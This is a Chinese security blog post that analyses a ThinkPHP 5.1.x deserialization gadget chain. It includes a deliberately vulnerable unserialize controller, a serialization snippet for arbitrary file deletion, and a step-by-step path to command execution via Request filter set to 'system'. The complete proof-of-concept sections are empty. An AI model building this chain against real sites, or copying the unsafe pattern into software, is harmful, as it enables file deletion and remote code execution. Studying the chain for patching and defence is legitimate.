thinkphp5.1.x反序列化利用链

漏洞版本环境

5.1.16<=ThinkPHP版本<=5.1.39

composer create-project topthink/think=5.1.16 thinkphp5.1.16
composer update

application/index/controller/Test.php 添加一个控制器

<?php
namespace app\index\controller;
use think\facade\Request;

class Test
{
    public function index()
    {
        $c=$_GET['code'];
        $u = unserialize(base64_decode($c));
        return '';
    }
}

漏洞分析

利用条件:有一个内容完全可控的反序列化点

漏洞链

think\process\pipes\Windows 类的 __destruct 方法中,存在 removeFiles() 函数,是删除临时文件的功能,而且这里的变量 $this->files 是可控的。所以这里存在一个任意文件删除的漏洞。

<?php
namespace think\process\pipes;
class Pipes
{
}
class Windows extends Pipes
{
    private $files = [];

    public function __construct()
    {
        $this->files = ['delete filename'];
    }
}
echo base64_encode(serialize(new Windows()));

所以 $filename 变量是可控。如果我们将一个类赋值给 $filename 变量,可以通过 file_exists 函数触发这个类的 __toString 方法。

#thinkphp/library/think/process/pipes/Windows.php
namespace think\process\pipes;

use think\Process;

class Windows extends Pipes
{
    public function __destruct()
    {
        $this->close();
        $this->removeFiles();
    }
...
    private function removeFiles()
    {
        foreach ($this->files as $filename) {
            if (file_exists($filename)) {
                @unlink($filename);
            }
        }
        $this->files = [];
    }
}

接下来找可利用的 __toString 方法,找到 think\Collectionthink\model\concern\Conversion 类,利用方式差不多先,分析后者查看 __toString 方法,调用了 toJson() 方法,又继续调用了 toArray()方法。

#thinkphp/library/think/model/concern/Conversion.php
trait Conversion
{
    public function __toString()
    {
        return $this->toJson();
    }
    public function toJson($options = JSON_UNESCAPED_UNICODE)
    {
        return json_encode($this->toArray(), $options);
    }
    public function toArray()
    {
        // 追加属性(必须定义获取器)
        if (!empty($this->append)) {
            foreach ($this->append as $key => $name) {
                if (is_array($name)) {
                    // 追加关联对象属性
                    $relation = $this->getRelation($key);

                    if (!$relation) {
                        $relation = $this->getAttr($key);
                        $relation->visible($name);
                    }

                    $item[$key] = $relation->append($name)->toArray();
                } elseif (strpos($name, '.')) {
                    list($key, $attr) = explode('.', $name);
                    // 追加关联对象属性
                    $relation = $this->getRelation($key);

                    if (!$relation) {
                        $relation = $this->getAttr($key);
                        $relation->visible([$attr]);
                    }

                    $item[$key] = $relation->append([$attr])->toArray();
                } else {
                    $value = $this->getAttr($name, $item);
                    if (false !== $value) {
                        $item[$name] = $value;
                    }
                }
            }
        }
    }
}

注:PHP5.4.0起,PHP实现了一种代码复用的方法Trait,Trait无法自身实例化,通过和Class组合的方式实现多继承。pivot对象的toString()方法,但是pivot并没有实现toString()方法,其继承了Model类,在Model类中就引入了好几个trait,其中包括Conversion类

toArray()方法中,使$relation = $this->getRelation($key); 结果为null,程序执行$relation = $this->getAttr($key);,跟进 getAttr() 方法

#thinkphp/library/think/model/concern/Attribute.php
        public function getAttr($name, &$item = null)
    {
        try {
            $notFound = false;
            $value    = $this->getData($name);
        } catch (InvalidArgumentException $e) {
            $notFound = true;
            $value    = null;
        }
    }
    public function getData($name = null)
    {
        if (is_null($name)) {
            return $this->data;
        } elseif (array_key_exists($name, $this->data)) {
            return $this->data[$name];
        } elseif (array_key_exists($name, $this->relation)) {
            return $this->relation[$name];
        }
    }

getAttr() 方法最后返回的 $value,来自 getData() 方法,这里的 $name 是之前的 $key 的值,所以在 toArray() 方法中构造 $this->append$this->data 含有相同键值 $name,可以使 getAttr($key) 方法返回给$relation的值为 $this->data[$name]

接下来执行$relation->visible($name),如果该类中没有 visible 方法,会自动调用该对象的 __call() 魔术方法

所以我们考虑寻找可利用的 __call 方法,发现 think\Request 类的 __call 方法中的 call_user_func_array 函数的第一个参数完全可控。

查看 think\Request 类的代码

#thinkphp/library/think/Request.php
namespace think;

use think\facade\Cookie;
use think\facade\Session;

class Request
{
    public function __call($method, $args)
    {
        if (array_key_exists($method, $this->hook)) {
            array_unshift($args, $this);
            return call_user_func_array($this->hook[$method], $args);
        }

        throw new Exception('method not exists:' . static::class . '->' . $method);
    }
    private function filterValue(&$value, $key, $filters)
    {
        $default = array_pop($filters);
        foreach ($filters as $filter) {
            if (is_callable($filter)) {
                // 调用函数或者方法过滤
                $value = call_user_func($filter, $value);
            }
        }
    }

如果我们控制$this->hook[$method]的值为['某个对象','方法'],那么这一处call_user_func_array,经过反序列化调用就变成了

Request类中有一个特殊的功能就是过滤器 filter(ThinkPHP的多个RCE出处)
查看 filterValue() 方法调用了 call_user_func($filter, $value),注意$filter $value 这两个变量是 filterValue() 函数传递的参数,满足都可控的条件就可以出发rce

#thinkphp/library/think/Request.php
class Request
{
    public function input($data = [], $name = '', $default = null, $filter = '')
    {
        if (false === $name) {
            // 获取原始数据
            return $data;
        }

        $name = (string) $name;
        if ('' != $name) {
            // 解析name
            if (strpos($name, '/')) {
                list($name, $type) = explode('/', $name);
            }

            $data = $this->getData($data, $name);

            if (is_null($data)) {
                return $default;
            }

            if (is_object($data)) {
                return $data;
            }
        }
        // 解析过滤器
        $filter = $this->getFilter($filter, $default);

        if (is_array($data)) {
            array_walk_recursive($data, [$this, 'filterValue'], $filter);
            reset($data);
        } else {
            $this->filterValue($data, $name, $filter);
        }

        if (isset($type) && $data !== $default) {
            // 强制类型转换
            $this->typeCast($data, $type);
        }

        return $data;
    }
    protected function getData(array $data, $name)
    {
        foreach (explode('.', $name) as $val) {
            if (isset($data[$val])) {
                $data = $data[$val];
            } else {
                return;
            }
        }

        return $data;
    }
    protected function getFilter($filter, $default)
    {
        if (is_null($filter)) {
            $filter = [];
        } else {
            $filter = $filter ?: $this->filter;
            if (is_string($filter) && false === strpos($filter, '/')) {
                $filter = explode(',', $filter);
            } else {
                $filter = (array) $filter;
            }
        }

        $filter[] = $default;

        return $filter;
    }
}

think\Request 类的 input 方法调用了array_walk_recursive($data, [$this, 'filterValue'], $filter)可以调用 filterValue() 方法,查看 input$filter 变量调用了 getFilter方法, 其返回值为 包含$this->filter的数组,可控。 $data 变量来自函数传参。

再查看调用 input 方法的地方,找到 param方法。其中传入 input 方法第一个参数$this->param来自请求参数可控,这样就满足了filterValue()两个参数都可控的条件

但是尝试构造call_user_func_array(array("think\Request","param"),$args) 时可以发现,$args 被赋值成think\Request对象,当其被传给 input 方法时变成参数 $name,当执行$name = (string) $name;时,类转成字符串触发 Method think\model\Pivot::__toString(),程序会出错

#thinkphp/library/think/Request.php
class Request
{
        public function param($name = '', $default = null, $filter = '')
    {
        if (!$this->mergeParam) {
            $method = $this->method(true);
            // 自动获取请求变量
            switch ($method) {
                case 'POST':
                    $vars = $this->post(false);
                    break;
                case 'PUT':
                case 'DELETE':
                case 'PATCH':
                    $vars = $this->put(false);
                    break;
                default:
                    $vars = [];
            }

            // 当前请求参数和URL地址中的参数合并
            $this->param = array_merge($this->param, $this->get(false), $vars, $this->route(false));

        }
        return $this->input($this->param, $name, $default, $filter);
    }
    public function isAjax($ajax = false)
    {
        return $this->param($this->config['var_ajax']) ? true : $result;
    }
    public function isPjax($pjax = false)
    {
        return $this->param($this->config['var_pjax']) ? true : $result;
    }
}

继续查看调用 param 方法的地方, 发现 isAjaxisPjax 都可以利用,因为他们传入 param 方法的第一个参数均可控,通过获取外部请求参数。
注意一个点,在执行反序列化链过程中,$this->param()方法的时候 不能通过POST传值,因为 $this->param()方法是通过 $this->method(true) 判断请求方式的,而在反序列化过程$this->method()返回的默认请求方法值为GET,所以无法获得POST请求的参数

构造payload时,将传入的 Request 对象的 $this->filter='system'$this->param=array('执行命令')

攻击流程如下:

可以使用 isAjax 或者 isPjax

$this->config["var_ajax"]为可选,若赋值后会调用 input 方法中的 getData($data, $name)

\thinkphp\library\think\process\pipes\Windows.php - > __destruct()

\thinkphp\library\think\process\pipes\Windows.php - > removeFiles()

Windows.php: file_exists()

thinkphp\library\think\model\concern\Conversion.php - > __toString()

thinkphp\library\think\model\concern\Conversion.php - > toJson() 

thinkphp\library\think\model\concern\Conversion.php - > toArray()

thinkphp\library\think\Request.php   - > __call()

thinkphp\library\think\Request.php   - > isAjax()

thinkphp\library\think\Request.php - > param()

thinkphp\library\think\Request.php - > input()

thinkphp\library\think\Request.php - > filterValue()

Poc1

poc2


文章作者: hh
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 hh !
  目录